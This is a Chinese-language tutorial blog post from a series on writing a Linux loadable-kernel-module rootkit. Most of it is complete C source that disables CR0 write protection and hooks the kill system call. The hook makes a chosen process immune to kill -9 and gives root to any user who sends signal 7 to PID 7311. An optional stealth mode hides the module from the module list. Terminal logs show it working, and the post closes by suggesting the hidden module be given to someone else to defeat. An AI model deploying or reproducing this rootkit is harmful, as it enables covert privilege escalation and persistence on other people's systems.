手把手教你写LKM rookit! 之 杀不死的pid&root后门
......上一节,我们编写了一个基本的lkm模块,从功能上来说它还没有rootkit的特征,这次我们给它添加一点有意思的功能.我们让一个指定的进程杀不死,
曾经,想写一个谁也杀不死的进程,进程能捕捉到SIGTERM,就是kill默认发送的signal,能捕捉到SIGINT,你平时按下Ctrl-C就是这个操作,但是无论如何你也无法阻止,
SIGKILL,及终极杀人王火云邪神的必杀kill -9 pid.
作为一个小强,怎么能被现实如此的摧残,我们要对命运说不,so 有个几种解决方案,一中方案:两个进程互相监听,另外一个死了,立马起一个新的进程,另外一种方案:
我们想是谁让kill -9 就能杀死程序的?是谁?对是操作系统?作为一切操作皆系统调用来说,kill也是系统调用啊.....所以我们可以改系统调用就行了,而且在内核态可以无视用户,
随便切换个uid都是小意思.
废话不多,上代码
#include <asm/unistd.h> #include <linux/highmem.h> #include <asm/current.h> #include <linux/sched.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <linux/slab.h> #include <linux/list.h> #include <linux/dirent.h> #include <linux/string.h> #include <linux/fdtable.h> #include <linux/moduleparam.h> MODULE_AUTHOR("[email protected]"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("rootkit_sample"); #define ROOT_PID 7311 #define ROOT_SIG 7 static int lpid = 1137; module_param(lpid, int, 0); //#define STEALTH_MODE 1 unsigned long *sys_call_table = (unsigned long*) 0xc12efee0; static unsigned int ocr0; unsigned int clear_cr0(){ unsigned int cr0 = read_cr0(); write_cr0(cr0 & 0xfffeffff); return cr0; } typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig); kill_ptr orig_kill; asmlinkage int hacked_kill(pid_t pid, int sig){ int actual_result; //root-access if (pid == ROOT_PID && sig == ROOT_SIG){ struct cred *cred; cred = (struct cred *)__task_cred(current); cred->uid = 0; cred->gid = 0; cred->suid = 0; cred->euid = 0; cred->euid = 0; cred->egid = 0; cred->fsuid = 0; cred->fsgid = 0; return 0; }else if(pid == lpid){ printk(KERN_INFO "You cannot kill me! by process %d", lpid); return 0; } actual_result = (*orig_kill)(pid, sig); return actual_result; } static int rootkit_in(void){ #ifdef STEALTH_MODE struct module *self; #endif ocr0 = clear_cr0(); orig_kill = (kill_ptr)sys_call_table[__NR_kill]; //hooking sys_call_table[__NR_kill] = (unsigned long) hacked_kill; write_cr0(ocr0); #ifdef STEALTH_MODE mutex_lock(&module_mutex); if((self = find_module("test"))) list_del(&self->list); mutex_unlock(&module_mutex); #endif printk(KERN_INFO "Loading rookit\n"); return 0; } static int rootkit_out(void){ ocr0 = clear_cr0(); sys_call_table[__NR_kill] = (unsigned long) orig_kill; write_cr0(ocr0); printk(KERN_INFO "Romove rookit\n"); return 0; } module_init(rootkit_in); module_exit(rootkit_out);
需要说明的几点是0xc12efee0这个地址每个人都不一样的,它在/boot/System.map-`uname -r`记录着,他表示sys_call_table的地址
cat /boot/System.map-`uname -r` | grep sys_call
unsigned long *sys_call_table = (unsigned long*) 0xc12efee0;
基本的使用就是
1.先随便起个进程,这里以我们的哪个deamon后台签到程序为例./l137,记录pid 为 13165
liet@kali:~/code/c/study/socket/http/bbs_sign$ ./l137 liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137 liet 13165 0.0 0.0 1844 280 ? S 16:47 0:00 ./l137 liet 13224 0.0 0.0 3484 776 pts/1 S+ 16:48 0:00 grep l137 liet@kali:~/code/c/study/socket/http/bbs_sign$
2.加载rootkit
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ sudo insmod test.ko lpid=13165 liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ dmesg | tail [ 407.885977] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use) [ 415.515641] device eth0 entered promiscuous mode [ 813.787144] Loading rookit [ 829.538917] Now set cr0 backed ,cr0: 8005003b [ 829.538921] Romove rookit [ 2231.927831] Loading rookit [ 2388.490838] Now set cr0 backed ,cr0: 8005003b [ 2388.490842] Romove rookit [ 2503.793892] test: `13165' invalid for parameter `pid' [ 2508.832296] Loading rookit liet@kali:~/code/c/study/virus/toykit/toykit_or/test$
ok, rootkit loaded!!!!
3.rootkit操作
1.杀不死的13165进程
liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -9 13165 liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137 liet 13165 0.0 0.0 1844 280 ? S 16:47 0:00 ./l137 liet 17537 0.0 0.0 3488 776 pts/1 S+ 16:52 0:00 grep l137
2.root后门
liet@kali:~/code/c/study/socket/http/bbs_sign$ id uid=1000(liet) gid=1000(liet) groups=1000(liet),20(dialout),27(sudo) liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -7 7311 liet@kali:~/code/c/study/socket/http/bbs_sign$ id uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),1000(liet) liet@kali:~/code/c/study/socket/http/bbs_sign$
你整好了一个进程之后,然后隐藏mod,再交给别人,让他杀吧,看他怎么杀,........